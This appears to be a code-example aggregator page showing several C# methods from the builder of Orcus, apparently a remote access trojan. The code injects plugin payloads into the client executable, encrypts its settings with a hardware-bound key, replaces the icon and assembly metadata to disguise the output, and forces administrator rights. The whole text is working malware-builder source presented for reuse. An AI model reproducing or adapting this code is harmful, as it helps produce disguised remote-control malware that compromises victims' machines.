Ejemplo n.º 1
0
        private void InstallPlugins(AssemblyDefinition assemblyDefinition, IEnumerable <IPayload> plugins, IBuildLogger buildLogger, out List <PluginResourceInfo> installedPlugins)
        {
            installedPlugins = new List <PluginResourceInfo>();

            foreach (var plugin in plugins)
            {
                buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusLoadingPlugin"], plugin.PluginInfo.Name));
                var payload = plugin.GetPayload();
                buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusPluginLoaded"], FormatBytesConverter.BytesToString(payload.Length)));
                var resourceName = Guid.NewGuid().ToString("N");
                assemblyDefinition.MainModule.Resources.Add(new EmbeddedResource(resourceName, ManifestResourceAttributes.Private, payload));
                buildLogger.Success(string.Format((string)Application.Current.Resources["BuildStatusPluginInjected"], resourceName));

                ResourceType resourceType;
                if (plugin is ClientPlugin)
                {
                    resourceType = ResourceType.ClientPlugin;
                }
                else if (plugin is FactoryCommandPlugin)
                {
                    resourceType = ResourceType.FactoryCommand;
                }
                else
                {
                    resourceType = ResourceType.Command;
                }

                installedPlugins.Add(new PluginResourceInfo
                {
                    ResourceName  = resourceName,
                    ResourceType  = resourceType,
                    Guid          = plugin.PluginInfo.Guid,
                    PluginName    = plugin.PluginInfo.Name,
                    PluginVersion = plugin.PluginInfo.Version.ToString()
                });
            }
        }
Ejemplo n.º 2
0
        private AssemblyDefinition ResolveInternal(string fullName)
        {
            if (fullName == "System" || fullName == "mscorlib")
            {
                return(null);
            }

            _buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusResolveLibrary"],
                                              fullName));

            var file = new FileInfo(fullName + ".dll");

            if (!file.Exists)
            {
                file = new FileInfo(Path.Combine("libraries", fullName + ".dll"));
            }

            if (file.Exists)
            {
                _buildLogger.Success((string)Application.Current.Resources["BuildStatusAssemblyResolved"]);
            }

            return(file.Exists ? AssemblyDefinition.ReadAssembly(file.FullName) : null);
        }
        private static void ApplySettings(AssemblyDefinition assemblyDefinition, List <IBuilderProperty> settings,
                                          List <PluginResourceInfo> pluginResources, List <ClientPlugin> plugins, IBuildLogger buildLogger)
        {
            string encryptionKey;

            using (var rsa = new RSACryptoServiceProvider(2048))
            {
                rsa.FromXmlString(
                    "<RSAKeyValue><Modulus>0KP1FXkZN1mfNPh2+rOUUh+4GdH5Z0HEE99acDdwkjW0twzNUOJelpKZCDlDgPpbtfsTNzeaSe1gpSH+etfQMenfvNJRIYiM0llWinGCArGF3PlfmcCIxnQp40iBKrxB4vJJlI0bCmw4zXr0ofNB2Yx9qNDpVII+NUkQ+MAqOh8=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>");
                encryptionKey =
                    Convert.ToBase64String(
                        rsa.Encrypt(Encoding.UTF8.GetBytes(new string(HardwareIdGenerator.HardwareId.Reverse().ToArray())), true));
            }

            var clientSettings = settings.Select(builderProperty => builderProperty.ToClientSetting()).ToList();
            var pluginSettings = new List <PluginSetting>();

            var allTypes = new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes());

            var provideBuilderSettingsType = new Lazy <string>(() => typeof(IProvideBuilderSettings).FullName);

            foreach (var clientPlugin in plugins)
            {
                var providesProperties = clientPlugin.Plugin as IProvideEditableProperties;
                if (providesProperties != null)
                {
                    pluginSettings.Add(new PluginSetting
                    {
                        PluginId   = clientPlugin.PluginInfo.Guid,
                        Properties =
                            new List <PropertyNameValue>(
                                providesProperties.Properties.Select(x => x.ToPropertyNameValue())),
                        SettingsType = provideBuilderSettingsType.Value
                    });
                    allTypes.AddRange(providesProperties.Properties.Select(x => x.PropertyType));
                    continue;
                }

                var providesBuilderSettings = clientPlugin.Plugin as IProvideBuilderSettings;
                if (providesBuilderSettings != null)
                {
                    pluginSettings.AddRange(
                        providesBuilderSettings.BuilderSettings.Select(
                            builderSetting => builderSetting.BuilderProperty.ToPluginSetting(clientPlugin.PluginInfo)));
                    allTypes.AddRange(providesBuilderSettings.BuilderSettings.Select(x => x.BuilderProperty.GetType()));
                }
            }

            var clientConfig = new ClientConfig
            {
                PluginResources = pluginResources,
                Settings        = clientSettings
            };

            buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusClientConfigCreated"],
                                             clientConfig.Settings.Count, clientConfig.PluginResources.Count));

            buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusPluginConfigCreated"],
                                             pluginSettings.Count));

            var xmlSerializer = new XmlSerializer(typeof(ClientConfig), allTypes.ToArray());

            string settingsString;

            using (var stringWriter = new StringWriter())
            {
                xmlSerializer.Serialize(stringWriter, clientConfig);
                settingsString = stringWriter.ToString();
            }

            buildLogger.Status(string.Format(
                                   (string)Application.Current.Resources["BuildStatusClientConfigSerialized"],
                                   settingsString.Length));

            xmlSerializer = new XmlSerializer(typeof(List <PluginSetting>), allTypes.ToArray());

            string pluginSettingsString;

            using (var stringWriter = new StringWriter())
            {
                xmlSerializer.Serialize(stringWriter, pluginSettings);
                pluginSettingsString = stringWriter.ToString();
            }

            buildLogger.Status(string.Format(
                                   (string)Application.Current.Resources["BuildStatusPluginConfigSerialized"],
                                   pluginSettingsString.Length));

            var success = false;

            foreach (var typeDef in assemblyDefinition.Modules[0].Types)
            {
                if (typeDef.FullName == "Orcus.Config.SettingsData")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            var strings = 1;

                            foreach (Instruction instruction in methodDef.Body.Instructions)
                            {
                                if (instruction.OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                    case 1:
                                        instruction.Operand = AES.Encrypt(settingsString,
                                                                          encryptionKey);
                                        buildLogger.Status(
                                            (string)Application.Current.Resources["BuildStatusWriteClientConfig"]);
                                        break;

                                    case 2:
                                        instruction.Operand = AES.Encrypt(pluginSettingsString,
                                                                          encryptionKey);
                                        buildLogger.Status(
                                            (string)Application.Current.Resources["BuildStatusWritePluginConfig"]);
                                        break;

                                    case 3:
                                        instruction.Operand = encryptionKey;
                                        buildLogger.Status(
                                            (string)Application.Current.Resources["BuildStatusWriteSignature"]);
                                        success = true;
                                        break;
                                    }
                                    strings++;
                                }
                            }
                        }
                    }
                }
            }

            if (!success)
            {
                throw new Exception((string)Application.Current.Resources["BuildStatusUnableFindSettingsNamespace"]);
            }

            buildLogger.Success(
                (string)Application.Current.Resources["BuildStatusConfigWrittenSuccessfully"]);
        }
Ejemplo n.º 4
0
        public void Build(IBuilderInformation builderInformation, List <IBuilderProperty> properties,
                          List <BuildPluginEvent> builderEvents, List <ClientPlugin> plugins, IBuildLogger buildLogger)
        {
            buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusLoadingStream"],
                                             properties.GetBuilderProperty <FrameworkVersionBuilderProperty>().FrameworkVersion));

            Stream stream = null;

            var loadStreamPlugins = builderEvents.Where(x => x.BuilderEvent is LoadStreamBuilderEvent).ToList();

            if (loadStreamPlugins.Count == 0)
            {
                var resource =
                    Application.GetResourceStream(
                        new Uri(
                            $"pack://application:,,,/Orcus.Administration.Resources;component/Client/{properties.GetBuilderProperty<FrameworkVersionBuilderProperty>().FrameworkVersion}/Orcus.exe"));

                if (resource == null)
                {
                    throw new FileNotFoundException();
                }

                stream = resource.Stream;
            }
            else if (loadStreamPlugins.Count == 1)
            {
                stream = ((LoadStreamBuilderEvent)loadStreamPlugins.Single().BuilderEvent).LoadStream(builderInformation);
                buildLogger.Warn("BuildPlugin \"" + loadStreamPlugins[0].BuildPlugin.PluginInfo.Name +
                                 "\" modified the source stream. The output won't be the original Orcus made by Orcus Technologies.");
            }
            else if (loadStreamPlugins.Count > 1)
            {
                throw new Exception(
                          $"The following build plugins want to change the source of the Orcus assembly: {string.Join(", ", loadStreamPlugins.Select(x => x.BuildPlugin.PluginInfo.Name))}. Please deselect all but one of these plugins to successfully build Orcus.");
            }

            using (stream)
            {
                buildLogger.Success(string.Format((string)Application.Current.Resources["BuildStatusStreamLoaded"],
                                                  FormatBytesConverter.BytesToString(stream.Length)));
                var assemblyDefinition = AssemblyDefinition.ReadAssembly(stream,
                                                                         new ReaderParameters {
                    AssemblyResolver = new AssemblyResolver(buildLogger)
                });

                buildLogger.Status((string)Application.Current.Resources["BuildStatusInjectingPlugins"]);

                List <PluginResourceInfo> installedPlugins;
                InstallPlugins(assemblyDefinition, plugins, buildLogger, out installedPlugins);

                buildLogger.Status((string)Application.Current.Resources["BuildStatusWritingSettings"]);
                ApplySettings(assemblyDefinition, properties, installedPlugins, plugins, buildLogger);
                AddResources(assemblyDefinition, properties, buildLogger);

                builderEvents.ExecuteBuildPluginEvents <ModifyAssemblyBuilderEvent>(
                    x => x.ModifyAssembly(builderInformation, assemblyDefinition));

                buildLogger.Status((string)Application.Current.Resources["BuildStatusSavingOnDisk"]);
                assemblyDefinition.Write(
                    builderInformation.OutputFiles.Single(x => x.OutputFileType == OutputFileType.MainAssembly).Path);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusSavedSuccessfully"]);
            }

            builderEvents.ExecuteBuildPluginEvents <ClientFileCreatedBuilderEvent>(
                x => x.ClientFileCreated(builderInformation));

            var iconInfo = properties.GetBuilderProperty <ChangeIconBuilderProperty>();

            if (iconInfo.ChangeIcon)
            {
                buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingIcon"]);
                Thread.Sleep(2000); //Wait for the filestream to close
                IconInjector.InjectIcon(builderInformation.AssemblyPath, iconInfo.IconPath);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusIconChanged"]);
            }

            var assemblyInfo = properties.GetBuilderProperty <ChangeAssemblyInformationBuilderProperty>();

            if (assemblyInfo.ChangeAssemblyInformation)
            {
                buildLogger.Status((string)Application.Current.Resources["BuildStatusApplyingAssemblyInformation"]);
                Thread.Sleep(2000); //Wait for the filestream to close
                ApplyAssemblyInformation(builderInformation.AssemblyPath, assemblyInfo);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusAssemblyInformationApplied"]);
            }

            if (properties.GetBuilderProperty <DefaultPrivilegesBuilderProperty>().RequireAdministratorRights)
            {
                buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingManifest"]);
                Thread.Sleep(2000); //Wait for the filestream to close
                ApplyManifest(builderInformation.AssemblyPath);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusManifestChanged"]);
            }

            builderEvents.ExecuteBuildPluginEvents <ClientFileModifiedBuilderEvent>(
                x => x.ClientFileModified(builderInformation));

            builderEvents.ExecuteBuildPluginEvents <ClientBuildCompletedBuilderEvent>(
                x => x.ClientBuildCompleted(builderInformation));
        }